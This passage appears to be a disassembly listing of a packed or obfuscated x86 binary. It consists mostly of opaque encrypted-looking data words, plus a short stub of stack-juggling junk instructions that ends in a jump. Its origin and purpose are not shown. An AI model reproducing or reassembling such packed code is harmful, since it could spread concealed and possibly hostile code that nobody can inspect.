		dd 0D51F5E1Bh, 557D7A9Fh, 2900A7E8h, 0E17B2CB3h, 70E975C4h
		dd 8D3D6C0Fh, 13499381h, 45D3F08Dh, 92F73637h, 3E6639C0h
		dd 620A90C6h, 0D6FE3D30h, 0E716505Eh, 5629C028h, 3BD3FA17h
		dd 69A855CCh, 0CAB3E91Fh, 0E7387280h, 7043C028h, 83B7C553h
		dd 2DC66358h, 0ED203A02h, 76C8D615h, 18EA2B38h,	0D84DCB30h
		dd 24F06F00h, 0BC8FC8E5h, 1BE63C72h, 5E148AE2h,	5F2B1650h
		dd 0D44929BAh, 5AA9E827h, 0D470F1D0h, 115792AEh, 0B600000Ah
		dd 75F9865h, 53ABE491h,	9DF52EC3h, 0EC447D7Eh, 0A18FC8B5h
		dd 7A7B9E86h, 0CAB3E941h, 17E43991h, 651086DEh,	0A7B5C32Ch
		dd 7BAA3A6Dh, 2A77D280h, 89BF09F4h, 0D23F6714h,	4ACF49B5h
		dd 6A4474ADh, 8781E685h, 204B9587h, 0A702DB4Fh,	0B13F5CF1h
		dd 22734BA3h, 0BB123D88h, 1D57658Ch, 307BA9C8h,	7AAA1C5Dh
		dd 3609425Fh, 9560B6ECh, 0E39E045Ch, 991843BBh,	67134C96h
		dd 841BABC8h, 0C055CFF7h, 83D4D031h, 70AF62FAh,	267D5721h
		dd 1E597513h, 97Ch, 0CA03F821h,	164F2E72h, 609954BEh, 0AFE89508h
		dd 0FA33C057h, 9C031B0Ch, 0CE4EA6DFh, 799EF62Fh, 0B7EB437Ch
		dd 1A2891CAh, 0AA38D20Ch, 0D42FDD7Bh, 0E109F42Ah, 0B7443367h
		dd 19536103h, 2481E63Fh, 67711051h, 0A1D30D1Bh,	13E681E5h
		dd 496D95D4h, 0B0E6DDC5h, 0A272ACBAh, 0AA7D81E5h, 0A6DC326Bh
		dd 0E45E8677h, 2E9BC3BEh, 0FFE1AEEFh, 0D7CC2294h, 64B46CBAh
		dd 0AAE6F5E9h, 8D000005h, 4F997B93h, 0C0BDE51Bh, 0A60E2B98h
		dd 8822CB4Eh, 9F5CC1A1h, 0BAE01660h, 0DA3F75BFh, 3C88F51Dh
		dd 84F119E4h, 5E94EA67h, 0E48D3C3Fh, 3C568740h,	56B9E0FDh
		dd 5D4C9EC6h, 10F515FEh, 0FB31940Eh, 118CD8A5h,	0BAD7446Ch
		dd 993FB46Ch, 56E676h, 29540000h, 0E6D48621h, 297E9B43h
		dd 4E987C93h, 0FEBDEF1Ah, 26187170h, 5367A109h,	0E71D81E6h
		dd 6CA5C2BFh, 0F6244F99h, 0E4CA980h, 8CBAD7FFh,	8464CF4Bh
		dd 0AFA9FB67h, 0F8A24D02h, 0A159ACF6h, 0D3D58257h, 10h
		dd 5AB31641h, 0B1EDFC66h, 0CA693F94h, 0F4000002h, 4F997B93h
		dd 22CB5141h, 61895C88h, 906DB3E9h, 0CFAEEE68h,	0DEFB3AA7h
		dd 0AA3F3976h, 0D2AFF37Bh, 5ED30AAh, 0AA3EBDF7h, 0BEFDD07Bh
		dd 584A1696h, 31710F78h, 0B70113FBh, 0E685B9A9h, 77ABDF81h
		dd 0E6852F69h, 43673A81h, 81E68509h, 650AB2C8h,	9B908FDBh
		dd 5A277CC8h, 6FA8C532h, 940B639Ch, 0D245BFE7h,	0C8F08D14h
		dd 0CDF41C5Bh, 0A05DC1F7h, 0B8EE0B78h, 0E2B0DBEAh, 447E8CDFh
		dd 5781E61Bh, 30D14384h, 46D96986h, 0F0267CB5h,	7BB5C3ABh
		dd 8E81E66Bh, 0CF5F7CBBh, 817EA34Dh, 6BEF2937h,	27FA81E6h
		dd 0D646C0E8h, 2D8FF27h, 28AB50CCh, 0C24BDB68h,	6EA4C100h
		dd 0C45B9134h, 61A20F37h, 8516D763h, 8D1D3AFFh,	5356E0Fh
		dd 81E63AE1h, 124B286Dh, 4F9964BAh, 0AEFA8319h,	5718E6Fh
		dd 987C93C6h, 0B647D591h, 14E1366Ch, 0A8F4A8F7h, 0DE14CED5h
		dd 8B68ADBBh, 9AB7244Ch, 1F39EF1Eh, 0ACC9B2E9h,	21D92C76h
		dd 53F5E9E3h, 3F1h, 6F72AFAh, 581086BCh, 0A10E36C3h
		dd 73D94562h, 0D8CA86A1h, 0A0BEC2EDh, 0DC205A68h, 582B81E5h
		dd 51E19C17h, 737DA434h, 0DB145328h, 9435185h, 0BD81E61Dh
		dd 5729A5Bh, 6BE23B10h,	0D6512195h, 0B7EA7A97h,	9903BFC6h
		dd 90B845D7h, 21DDE423h, 5AD4FCF1h, 0AE0E36C7h,	7CD000A2h
		dd 42D5EEB4h, 0ED3167B1h, 5E7BE810h, 2FC75B0Fh,	0E58BE721h
		dd 0DE1FF281h, 0D3A8F9F5h, 0FF498826h, 61453D4h, 0E300B04Bh
		dd 0EAE82577h, 918781E5h, 44459166h, 0A9EA4E35h, 2D6088ADh
		dd 8FC5E280h, 8F6AB013h, 0C9031145h, 7F81E5BAh,	0E5BB3771h
		dd 7A6F4281h, 4D75089Ah, 784A1E0h, 0F57986B1h, 0EBDC382Ch
		dd 0C4DC4C29h, 0EE3A795Bh, 35A2CAABh, 66138818h, 0C1BCE61Ch
		dd 8CC038A4h, 0E597447Eh, 67845781h, 0E596C2FFh, 9ACEFE81h
		dd 0E597528Ch, 6D8A5D81h, 0C3586B37h, 7CDFD36h,	8E81E5A3h
		dd 0EA2F007Ch, 47559F99h, 81E5D50Dh, 0C40E4D20h, 4C69048Eh
		dd 0E92E47FEh, 0FEB777F5h, 2C1EFFFFh, 24DC7101h, 759267DDh
		dd 8BC4B1E5h, 0C812EF33h, 0D1EB1E9Dh, 0EC091554h, 4FF12E80h
		dd 0F08E81E6h, 0D1DF13B2h, 81E64F97h, 22B2CFA2h, 70C801FCh
		dd 0D2244C29h, 5259F101h, 0E91C8688h, 25764E31h, 5863h
		dd 7B930A00h, 51414F99h, 78822CBh, 96B1E3DCh, 4E5CF7B2h
		dd 7BAA3314h, 0F8155427h, 72C4ECBFh, 7BAA3339h,	61A4FE00h
		dd 0EFAD86A9h, 22DBh, 0E8528200h, 0A981E68Fh, 0FFFD539Ch
		dd 0ACBAEEFFh, 81E67B72h, 3F5EAA7Dh, 8CA9163Eh,	76937h
		dd 69F40000h, 239h, 28012CF4h, 5827DBEFh, 0EB2FBFDCh, 366CE60Eh
		dd 92F83240h, 300381E5h, 45C9B8F1h, 6A7F8DD7h, 7D881CACh
		dd 0F23082AAh, 0C37BAE99h, 6C24E1C1h, 9EEFB1F3h, 4Ch, 0EAF82C45h
		dd 81E684B0h, 0B0A7E8BBh, 65AF6359h, 0EE204764h, 0BEFDFA1Fh
		dd 920A4074h, 3956C3EBh, 1CC074D1h, 4C744788h, 0AE89BCFAh
		dd 178B8D7Bh, 542178AEh, 2373BF2Ch, 2BE3314Eh, 5DEFB1E7h
		dd 0B1h, 720395CBh, 6BC0DD4Ah, 8253012Ch, 38008306h, 6A178B1Bh
		dd 9951C842h, 0E63C518Bh, 4A895C81h, 1F5DD500h,	59BFF907h
		dd 0F7CA81E6h, 5690A1B6h, 0CF53CD39h, 0A900A32h, 9706366Fh
		dd 0C181E5D0h, 2256A05Dh, 0E5C7DA14h, 0F512E581h, 97858978h
		dd 767A3F4Dh, 9A6D881Fh, 0F6871A50h, 413265BDh,	22A99CF2h
		dd 0E31E3A13h, 4A8h, 0F62FCC4Dh, 427B7A9Eh, 8CC5B8EAh
		dd 0DB14E934h, 265F1C83h, 0E82FEF38h, 227AD20Bh, 55CA225Bh
		dd 83176FA8h, 4654BDF6h, 0AA34FE38h, 863117Bh, 0CD06F72Ah
		dd 15DB4177h, 5FCCF481h, 6E8BF820h, 84BDB8DEh, 9F42A67h
		dd 651689BFh, 3C62DC48h, 0F5190841h, 0CACFDD27h, 9D881DA9h
		dd 1450A2CAh, 227BAF60h, 0E628049Eh, 0D7DCEA34h, 9881E684h
		dd 719D8CC5h, 0F34B59A3h, 0FA8822CAh, 7FA7DD27h, 13522375h
		dd 6F0C93C9h, 40BDDA47h, 0AA3FDC10h, 720F947Bh,	6C2039h
		dd 52AB0000h, 81E68514h, 0E735D239h, 3581EE16h,	80ED15E6h
		dd 66B00841h, 1C5B1A7Eh, 8568A2F4h, 0F81081E6h,	79A15CC2h
		dd 7AB4C20Ch, 8581E684h, 435F95B2h, 27DA4C82h, 55287A0Ah
		dd 959BC61Ch, 789E4812h, 71A63653h, 0CD0A5C84h,	781E5B3h
		dd 0CB50732Fh, 0A2B0E42Eh, 81E5B468h, 683A073h,	56277AB0h
		dd 0B3C4FE0Ch, 4D781E5h, 0F52A92E7h, 3166E008h,	84F12B39h
		dd 29FC81E6h, 0C29EC2EAh, 7695497h, 421F66Ch, 0BDF1D4CEh
		dd 0E63075AFh, 98B58881h, 0ADE69308h, 0CB832C57h, 0B5670236h
		dd 97D8F523h, 5E7B0EC6h, 0E65D3EF6h, 46FD0781h,	76F5E9B6h
		dd 0FFFFFF4Bh, 0A1F62C1Dh, 0F327B7D4h, 3E64DE06h, 84F02A38h
		dd 76AF81E6h, 0F03B29A7h, 0DC28FBF0h, 2794BC41h, 4EC0AFE8h
		dd 5F7482CCh, 1B881D44h, 64B7B1E5h, 0C3026F97h,	729A6DA6h
		dd 9F52C4FAh, 85ED0A77h, 7BAF4247h, 398C1618h, 0B8E09D03h
		dd 28E02E4Bh, 5AEFB29Ch, 49h, 997B9301h, 0A4E4414Fh, 24F7881Dh
		dd 666CAAFCh, 0E33D7BAFh, 0E1B32EB8h, 0C9E62231h, 8BB60F93h
		dd 0B1BF7615h, 7BAEB077h, 766EAF82h, 0C00E2B55h, 0EFB1EE08h
		dd 0B142D50Bh, 0C9031189h, 0D47BAE83h, 46A5C201h, 0DCh
		dd 0FCF42AEDh, 7098D7AAh, 0A25BC2F8h, 0D1A2F585h, 0EEB2FA9h
		dd 6C098EC4h, 3569E34Fh, 83B90F48h, 0C23A621Fh,	0E6847AB4h
		dd 73B28581h, 897FEE56h, 90BB81E6h, 0CD4BC498h,	0D56582B3h
		dd 366AB441h, 0E5EEEE28h, 112E0181h, 0EE63C94h,	97D1DF8Bh
		dd 0A281E5EEh, 295190CFh, 0DA24F618h, 1D1893CCh, 90C99C88h
		dd 65AF6DA1h, 0D9A6FB31h, 7A8954BCh, 835681E8h,	0C4DA0539h
		dd 82C377F1h, 54CB5B78h, 4D75089Ah, 87AF4CD3h, 0C8FDB1Ah
		dd 0B0E6306Fh, 0F3708D68h, 2877049Bh, 0CF85D64h, 1527627Eh
		dd 0BA000002h, 0B639C61h, 57AFE895h, 0A1F932CFh, 0F048817Ah
		dd 0A593CCA9h, 7E7FA282h, 0CEAFED45h, 1BD83D95h, 69148AE2h
		dd 0ABB9C730h, 7BAA3271h, 2A73CE7Ch, 75CD06F7h,	0FE1B5421h
		dd 4F997B93h, 0CFFBF01Bh, 44B28FAEh, 0ABD3AEF8h, 5CB9213Eh
		dd 6F881D0Dh, 0E422749Ch, 0A07BAEFCh, 0DF59817Ch, 3898C0BDh
		dd 235A762Ch, 0CC848121h, 0CFEFB25Ah, 4E760799h, 0F08EC8D6h
		dd 0CEA17BAEh, 0F113728Fh, 0BA000000h, 0F0FEF42Ah, 81E684B6h
		dd 8FB7F6C9h, 0C9F18215h, 0D50F1D51h, 0E881E684h, 2190F815h
		dd 5981E68Ah, 0E1FEF323h, 0F730CD51h, 347E7B9Fh, 0C2DF9EFEh
		dd 4BC94556h, 1CA2CD01h, 6918CF8Ah, 0F48B0CDh, 0CB881CCEh
		dd 209E6DA0h, 2F4CB897h, 94EA23F6h, 0F4185260h,	50237BAEh
		dd 10020C33h, 0C15C92C6h, 83A7143Ch, 7BAEF449h,	0D6648154h
		dd 0E8A19EC8h, 61B19181h, 0CF034D8Ch, 35760799h, 7AC8A215h
		dd 82122FAAh, 0DE145E1Fh, 1A92BABBh, 0D7E4D20Ch, 0CB0ADD81h
		dd 46D931AEh, 36FC66B5h, 0BEDA0CF8h, 0EF83h, 760B9400h
		dd 0C2B3E53Dh, 0CE13189h, 5B207BD3h, 0A657CA22h, 78A87F6Dh
		dd 0C31B5421h, 136BA459h, 60B8F18Eh, 9D063F3Ah,	3147818Fh
		dd 0A4527BAAh, 0A7F62C49h, 0F541AED6h, 29B9D6A7h, 76CC05F6h
		dd 1DD840h, 0DE422A70h,	8AA7E01Fh, 0BF09F42Ah, 49661789h
		dd 423F63DDh, 965AC2F8h, 16337203h, 0B664AA99h,	0CB6A5E6Ch
		dd 0AA7D8822h, 0DA920882h, 427BBA43h, 0A1C9B4EAh, 0D0ADF329h
		dd 473B4BB3h, 45DB9011h, 871690B8h, 8848CEF6h, 8774A91Ah
		dd 0D1D14F48h, 0ACCFACF2h, 91C35FDBh, 8F52C78h,	0FB3473E0h
		dd 5A827FA3h, 98C0BDE0h, 0D3FBFA1Eh, 0D35C659h,	32CF54A0h
		dd 0E4BE8A0Ah, 0CC99D3E1h, 0D1A46F8Ah, 287A3A92h, 417A079Bh
		dd 7EC8B5E9h, 41478E53h, 0B57BAA2h, 56C3EB90h, 0D92CD39h
		dd 1D000000h, 0B0EAF82Ch, 0BB81E684h, 3D42CBE8h, 0E40CF12Ah
		dd 2149346Ah, 5D8572A7h, 9CC4B9E3h, 0D6FEFF22h,	1038C55Ch
		dd 4E760796h, 87AF42D4h, 0C2EA8B0Dh
		db 31h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	63C46B1h
		mov	edx, [esp]
		add	esp, 4
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 8
		add	eax, ecx
		mov	[eax], edx
		pop	eax
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5515E1
; ---------------------------------------------------------------------------
		db 0F4h
		dd 55AAB81Ah, 0C503063Ch, 3D87E0FFh, 1D732990h,	9D2F62F1h
		dd 4B2D3429h, 0F8585B56h, 0A4B2F14h, 53F04D7h, 69FF654Eh
		dd 0DF09007Fh, 2E9A3DCBh, 21E64DC2h, 604B6167h,	477D351Ah
		dd 0EB7B178Ch, 0BA7060B5h, 69E0303Bh, 61B87C87h, 0A6B2DE0h
		dd 8D8D67DCh, 63C5743h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 7DC35343h, 0FCC3DD34h, 68B0Fh, 95890000h
		dd 6370955h, 18758D89h,	6A0637h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 3E8620C3h, 15DB34B8h
		dd 9585C72Fh, 0E4063711h, 2300005Eh, 370DB985h,	8185C706h
		dd 6370Fh, 0E9000000h, 10h, 78596C3Ch, 908F9DA3h, 0B5082E20h
		dd 0D6160CF0h, 309DB5FFh, 6A0637h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0E4B11EC3h, 95FFC7BDh
		dd 6371291h, 6AF3BF0Fh,	1995FF00h, 8B063732h, 0EE7EEBC0h
		dd 0F4216E0h, 0FF2EA1DEh, 51BCC56Eh, 7DE8803Dh,	1D68D90Ah
		dd 0A1401DA5h, 7C6F0DF8h, 92068ADBh, 2DB2D020h,	624516BDh
		dd 0A4892F8Fh, 486F99B2h, 4FD4C9D7h, 84C73748h,	6B73231Ch
		dd 91205944h, 0AEE932E2h, 58F38A6h, 0ED407949h,	255699Dh
		dd 0C7F25A25h, 5CD5F819h, 43F15CEAh, 33474AC3h,	46248676h
		dd 541493A3h, 5C85619Eh, 9C89377Ah, 0AB919B61h,	0F855FFBBh
		dd 0A8E169E1h, 7E8ECh, 0BBC30000h, 0B0363D97h, 0E851567Ch
		dd 9, 66F2D389h, 8834426Dh, 5F5F5F9Ah, 81C78A59h, 6603C1h
		dd 29D23300h, 371881BDh, 111C8B06h, 11E9h, 4BFD5100h, 467A2562h
		dd 0CFC9B029h, 2E7F4525h, 0C38153ADh, 19DBB1BBh, 0E56FEB81h
		dd 0C38161BEh, 1994BC9Ah, 51F6B866h, 0DAB86653h, 11048F97h
		dd 89F78B66h, 370D3185h, 1DEA8106h, 81474223h, 422319C2h
		dd 98FA8147h, 0FFFFF9Ah, 0B85h,	17E900h, 6F1A0000h, 205BF983h
		dd 0F9FA8B60h, 0FF93E961h, 7794FFFFh, 963CD558h, 60EB14h
		dd 17h dup(0)
		dd 0E9000000h, 0BBAh, 0BAEE9h, 60D66800h, 7BE9063Ch, 68FFFB25h
		dd 63C6232h, 0FB2571E9h, 62AA68FFh, 67E9063Ch, 69FFFB25h
		dd 35F0D023h, 2BD9DE6h,	0D59070B5h, 0A45F3F84h,	842F0F52h
		dd 65A8FABCh, 367FCA85h, 44B9B56h, 0D61D6924h, 718C72F6h
		dd 0E71F9459h, 5DE9DD0Ah, 0CB02C912h, 4866AFFAh, 0CCEFDBF6h
		dd 567CE123h, 2A76312Bh, 0DF2F1CE3h, 5C96BDB5h,	9ED60A06h
		dd 3385D7D7h, 23053218h, 0A48BB1E1h, 0E12305A6h, 0A6041F45h
		dd 0BD4993E3h, 78C3E813h, 1668682Fh, 238ACFFBh,	53A39CE1h
		dd 84A9D40Ch, 3B28EF32h, 0F2DFA6E9h, 0A8955CA1h, 0A9F8165Bh
		dd 0C9320ECBh, 19FA25ADh, 0CD94DD2Ch, 5BAD56AAh, 0DA331732h
		dd 8AB0E123h, 0E1FC1A52h, 0E7603305h, 90F3424Eh, 32BF894Bh
		dd 5C488269h, 0F51BE71Fh, 0FB4D9FBDh, 1F5CEAE0h, 355379E7h
		dd 1F5C301Ah, 628DB3E7h, 0C5A5EE3Dh, 2DC98AD4h,	54E614D1h
		dd 45607EB6h, 0E71F4301h, 0EDEDB4DAh, 434A809Bh, 0F319E71Fh
		dd 1057A3C8h, 0FB4A7E30h, 9C15AC64h, 1035602Dh,	0D5F7DC4h
		dd 72397CCEh, 6C597158h, 0E40AE123h, 0BDA19DB9h, 0DDFBD127h
		dd 0ED0B529Eh, 23CCF8D2h, 1A456BE1h, 78D688FEh,	392880C9h
		dd 7E4C67B9h, 0EDE223CCh, 25629CC7h, 30000000h,	239AFB4Ah
		dd 57F89D8Fh, 0A57BD12Ch, 1B2F4AA3h, 0C8E123CCh, 144AA0A2h
		dd 0C3C50E5Dh, 3A5BBF9Fh, 3000000h, 95FB4Ah, 3A014894h
		dd 7C7D0520h, 7FC2141Fh, 18739EB8h, 4AEAECC2h, 23CC1B2Fh
		dd 0A3A5C5E1h, 0E5D144Ah, 0FB4AC3C5h, 69C316D6h, 7A95B310h
		dd 0E1237F50h, 0DFC2ED13h, 2AD327FFh, 0B595B0DFh, 36E123CCh
		dd 0F711D810h, 2159A0ECh, 0F26BE803h, 0D2F8E75Ah, 0E974420Bh
		dd 5F6DE714h, 0B2310041h, 0BF4F3C5Fh, 1D000001h, 0FE19DD27h
		dd 0E123CCCCh, 5278939Fh, 11E123CCh, 2698B3EBh,	798C1B3Eh
		dd 0B80A2860h, 2380AD9Dh, 0ED183EE1h, 991463B5h, 33B8824Dh
		dd 9A9D3954h, 62DDBA84h, 0B11C3637h, 0A9CFE123h, 62A9F5E2h
		dd 115DD082h, 0BDA1C8CAh, 0F9FBD127h, 94C00B4Ah, 53414F58h
		dd 4A75AD30h, 0B4A9E50h, 414B76B9h, 39288100h, 4B80h, 0D1274E00h
		dd 4D9EDDFBh, 0FC274108h, 0BF0B4AE0h, 6C97B178h, 58A3E234h
		dd 0E7E3E40Fh, 84E123CCh, 0B101405Eh, 4A233F6Ah, 0BF8BA6F8h
		dd 2CE123CCh, 0CC2B1F06h, 92B8E123h, 28EF3887h,	75ABE30Eh
		dd 0C3C50E5Dh, 3E5BBF9Fh, 3000000h, 0F9FBD127h,	0CC1B2F4Ah
		dd 0C2C5E123h, 4CA8CC6Fh, 0FCD1B5E7h, 81EDA548h, 4A0F1149h
		dd 4A095FFBh, 15402EE4h, 0E5DA7DDh, 0B4AC3C5h, 0A4FA0BCh
		dd 0D6F10BD2h, 0EC5687E5h, 220530ACh, 0FFDD2742h, 0CC88C6E1h
		dd 2D53E123h, 3ADEC00Fh, 8EA54E53h, 49958263h, 0D299DE2Fh
		dd 0D2A080B8h, 0D4FF4893h, 0CA115DB8h, 27BDA1C8h, 0D0FA15D1h
		dd 93E123CCh, 8833356Dh, 80C978D6h, 59B73928h, 85000000h
		dd 0D5C3FB4Ah, 0B48828B6h, 2D82E89h, 59FB4A00h,	0E7035083h
		dd 2678B0DBh, 29549BE7h, 23E62228h, 76C8C1E1h, 1A526C33h
		dd 0B9F84A18h, 27233E67h, 0C4E123CCh, 859F669Eh, 0CC7E4C67h
		dd 0C7EDE123h, 0E5D809Ch, 3A55A7C5h, 0E123CC10h, 6682ADD3h
		dd 285BBF9Fh, 3000000h,	0F9FBD127h, 0CC1B2F4Ah,	0A5C5E123h
		dd 5D144AA3h, 86C4DF0Eh, 65E123CCh, 0AAE9073Fh,	0BC091459h
		dd 6B96B077h, 5BBF9F4Fh, 0C8h, 1059A8E7h, 0DD27C9E5h, 408FE1FFh
		dd 295557DCh, 0C7C8F384h, 0E123F38Bh, 6B6B3258h, 4588DA19h
		dd 4D7D647Eh, 0C4E123F3h, 9E752484h, 7BA162A8h,	0B2DD2470h
		dd 1AFA418Dh, 0BB0B4A68h, 6893AD74h, 0AEB0F743h, 0D127BDA1h
		dd 0E09AFB18h, 48668BEDh, 0AA333193h, 3B3D75ADh, 78BF0B4Ah
		dd 78A1534Dh, 392880C9h, 40B7h,	0D1278500h, 2F4AF9FBh
		dd 0E123CC1Bh, 0CCFE196Bh, 9FE123CCh, 99205E79h, 934EC919h
		dd 44948D68h, 0A03936FDh, 0A3159D7h, 999BD30Bh,	0E5D144Ah
		dd 0B4AC3C5h, 93AD74BBh, 5BA58568h, 20h, 0FBD12703h, 0BC0B4AF9h
		dd 0F5104873h, 0E123CCD5h, 16557393h, 38547FC6h, 0E5D144Ah
		dd 0BF9FC3C5h, 3CA115Dh, 2E73C403h, 478EDE03h, 8EBCD729h
		dd 13E123CCh, 9CB67DC2h, 908AB5DBh, 0E1FB73C2h,	0F1B61D9Eh
		dd 0E55A1C6h, 0BB084747h, 7E4A4B76h, 0CCE12381h, 4692EE0Ch
		dd 0A0C6AB1Ch, 0D109392Dh, 0A3EA36F1h, 607C2CDCh, 125EBAD8h
		dd 0DE1DEBCBh, 6781488Dh, 0B78DE13Ch, 0DAF54799h, 0E12340F0h
		dd 21224D73h, 0E75A7EA0h, 32E997E6h, 0A6C04ED0h, 0B37AA07Bh
		dd 44661B3h, 0E7E7144Fh, 0C99596C1h, 0C0E7144Fh, 0E62594B2h
		dd 0E72A7C96h, 7CE0620h, 4FDEEC07h, 678DE714h, 37FA042Fh
		dd 493C6010h, 30h, 0E854ACFBh, 3259AEA5h, 115DEB07h, 103A03CAh
		dd 89E123CCh, 412EF53Eh, 46E7AEF5h, 0CFA93250h,	3382F10Fh
		dd 8A67A6B2h, 22752E4h,	0DD8F6FB6h, 3CA115Dh, 3178C403h
		dd 8157AB06h, 92D72463h, 4E86B1CBh, 60255733h, 8E6E94E7h
		dd 5573499Dh, 66AA993Ah, 6244AE1h, 0B1B199B4h, 0C32E128h
		dd 0EA5E13F1h, 1D487A9Ch, 0B52B733Ch, 75C6E128h, 2B7C6930h
		dd 477FC813h, 0CBE9DF80h, 9FD7206Fh, 0D1405E6Ch, 0B566647Fh
		dd 0DF05E128h, 587AAB4h, 46F93634h, 0AB000000h,	0ED51C6Ch
		dd 4AADC9F4h, 0B178BF0Bh, 0C7116C97h, 8AB0CBE9h, 0FCE123CCh
		dd 543EA5ADh, 0AAADB54Ch, 8F2B46E4h, 57325DC2h,	87D41331h
		dd 45946242h, 4AA88A51h, 59749274h, 0E1236371h,	7AA1CCF2h
		dd 29h,	0FFDD2722h, 1055A2E1h, 95BADE5h, 0CCAE9CB7h, 173DE123h
		dd 23CC1A30h, 78A3C9E1h, 23CC5F77h, 0E0FE24E1h,	2F0F54A1h
		dd 1575B7Dh, 27030000h,	0A4E301DFh, 2C460D54h, 0A1A1E501h
		dd 0CC16344Fh, 0AFD5E123h, 115D6884h, 0D688C8CAh, 2880C978h
		dd 2CB739h, 27850000h, 4AFF01DFh, 266DB9F8h, 191A455Fh
		dd 0E123CC31h, 4A8A8CB2h, 0CB105D14h, 54A39FC9h, 7A80929Bh
		dd 0CBE712CAh, 425Bh, 0DF270300h, 0DD94E301h, 4D71BE40h
		dd 0EB236ABAh, 2F4AA4C0h, 0E123CC1Bh, 4AA3A5C5h, 0CCEDDDF8h
		dd 587EE123h, 6B0CB23Dh, 0CDF83064h, 0B5044395h, 608BA56Ch
		dd 0E5105D44h, 23CC80CAh, 53D63E1h, 5DBF9F03h, 4AC8CA11h
		dd 4E79BE0Bh, 0B4A896Dh, 97B178BFh, 5B19AE7Ch, 7BA66E56h
		dd 0F2F4CA20h, 0B4AD688h, 97B178BFh, 80DF626Ch,	2FA13928h
		dd 6F000000h, 0F9FBD127h, 77C00B4Ah, 0D1F9144Ch, 92E123CCh
		dd 7FF4E6Ch, 9F30FA25h,	4A85A1CCh, 256EB9F8h, 0E5DDEFAh
		dd 0BF9FC3C5h, 405Bh, 0D1270300h, 2F4AF9FBh, 0E123CC1Bh
		dd 0C6A21C6Bh, 46C97E97h, 0F84A3D1Bh, 4796B4CFh, 2F55E123h
		dd 4ABDBFF7h, 0BF8BA6F8h, 2CE123CCh, 4ABFDB06h,	4B76B90Bh
		dd 708ED726h, 0D89FE431h, 9F7793BEh, 0F30D5DBFh, 7C965DA2h
		dd 0EBB47D44h, 0CAE123CCh, 857C6E4h, 6930564Bh,	2065B20Ah
		dd 0DC073F59h, 402067B7h, 0C60D5D8Eh, 0F3B56A8h, 0DCE123CCh
		dd 0B7C642D3h, 96CE6B36h, 4B8A8A6Bh, 0D6F0B700h, 0EF3686ABh
		dd 73918728h, 0A080C717h, 23FC4F09h, 85AD9DE1h,	0FB3628ABh
		dd 0FFFFFE73h, 0B9F84AC9h, 0D3D2467h, 0DEE123CCh, 8C5398E5h
		dd 0E0F3A72h, 0E123CC40h, 23CDB985h, 0CC317CE1h, 0AAF4E123h
		dd 6BE123CCh, 0E123CC23h, 23CC94E2h, 0D5ABFFA1h, 0F9EE68B7h
		dd 7207AA93h, 0D2F40F47h, 89275D7Dh, 25799C63h,	0D516314Fh
		dd 162163A9h
		dd 0AC9425F0h, 0A65DFFBDh, 2F6B7h, 0EE418700h, 0BB04530Eh
		dd 8ED320DBh, 5DA2F3AEh, 2D70C27Dh, 18A2A24Dh, 0E8A383C6h
		dd 0B974549Dh, 87422269h, 9014F43Bh, 0ACBB8FAAh, 0FB28E71Fh
		dd 0CA115D07h, 0D71C6DACh, 54A8CBACh, 0F30E607Eh, 0E123CCD7h
		dd 0B436E94h, 602566F0h, 89D4CDE7h, 11D81B6Dh, 0DEF8BFF7h
		dd 672FC6A6h, 6FE71F94h, 0D198E130h, 0DD318CB7h, 5897E907h
		dd 58A1F006h, 143F5920h, 5C7DDF13h, 0C8E60CE1h,	16F63D89h
		dd 0AAC80F5Bh, 5588E45Bh, 0B9E43518h, 223F0FD8h, 0E034E123h
		dd 0BDD1EC0Ah, 0B6E760CBh, 0E7337290h, 7AAB9FBAh, 1238E71Fh
		dd 0F86DBCDAh, 0E87C91D0h, 7D63A355h, 0FC6F2062h, 0A40FADE1h
		dd 0E91498C8h, 0A1E834EFh, 34163183h, 5DE71FF0h, 3C6738F6h
		dd 0C1E7A8D9h, 3E92B596h, 5B2F4A68h, 2BE15CBFh,	8F569BECh
		dd 496F4A75h, 350B5F82h, 0E722FC17h, 1D29E760h,	1F56C802h
		dd 0BE0551E7h, 81CCD7FDh, 1F577138h, 2F76C201h,	2E48944Fh
		dd 3279C5DDh, 0E119516Bh, 7C05511Ah, 1A6EE71Fh,	96D79F61h
		dd 0CEE9BF15h, 616148E8h, 6583BB24h, 648FD626h,	0BA85112Ch
		dd 486EE15Ch, 340A5E81h, 0A1A9C416h, 42E1230Bh,	7BB3F849h
		dd 60FD1850h, 0EBE75A1Fh, 3AF7FAC5h, 0C9803984h, 19ADAh
		dd 92E52B00h, 5FA8F7B2h, 3277C47Fh, 1469752h, 0D1146621h
		dd 0BC7E46F1h, 8C47276Ah, 5D18F841h, 2BE6C60Dh,	34B898DFh
		dd 0AE17334Eh, 0A7D4E71Fh, 0C00B4AB3h, 6B96B077h, 0C213BC10h
		dd 4C135AAAh, 1933FA32h, 1EA8C3E1h, 5E76025h, 3082C1DFh
		dd 0E1E1C2EDh, 0E51055A2h, 418D368Ah, 0E11933FAh, 8053A8C3h
		dd 0F433E166h, 5B3661A8h, 0A57D6A35h, 3FF63FB8h, 12250h
		dd 1A6DB300h, 0E7307F3Ah, 0BAFF4C07h, 89CE1FDAh, 599CEEA9h
		dd 44F6CE79h, 14CFAFF2h, 0E5A080C9h, 0B36E4E95h, 0BC402067h
		dd 0AE8FBBD6h, 2F5CE71Fh, 0FDD3273Bh, 25C2C4DFh, 6ABCE760h
		dd 1F947B4Fh, 97C2E8E7h, 0E2CF96BCh, 0B46F4F96h, 375A2168h
		dd 9DEF0DE3h, 941A304Bh, 0A3C9E71Fh, 94606A85h,	0DD03E71Fh
